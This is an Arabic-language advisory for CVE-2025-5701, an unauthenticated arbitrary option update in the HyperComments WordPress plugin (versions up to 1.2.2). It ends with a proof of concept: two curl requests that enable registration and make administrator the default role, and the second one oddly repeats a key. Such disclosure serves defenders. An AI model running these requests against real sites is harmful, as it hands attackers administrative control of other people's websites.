CVE-2025-5701

إضافة HyperComments <= 1.2.2 - تحديث غير مصرح به للخيارات التعسفية (يمكن للمشتركين+)

الوصف

إضافة HyperComments لووردبريس عرضة لتعديل غير مصرح به للبيانات مما قد يؤدي إلى تصعيد الامتيازات بسبب عدم وجود فحص للصلاحية في دالة hc_request_handler في جميع الإصدارات حتى 1.2.2 شاملة. هذا يتيح للمهاجمين غير الموثّقين تحديث خيارات تعسفية على موقع ووردبريس. يمكن استغلال ذلك لتحديث الدور الافتراضي للتسجيل إلى مسؤول وتمكين تسجيل المستخدمين ليحصل المهاجمون على وصول إداري للموقع الضعيف.

التفاصيل

• النوع: إضافة
• المعرف: hypercomments
• الإصدار المتأثر: 1.2.2
• درجة CVSS: 9.8
• تقييم CVSS: حرج
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-5701
• الحالة: مغلق

POC

curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"default_role\":\"administrator\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"

curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"users_can_register\":\"1\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"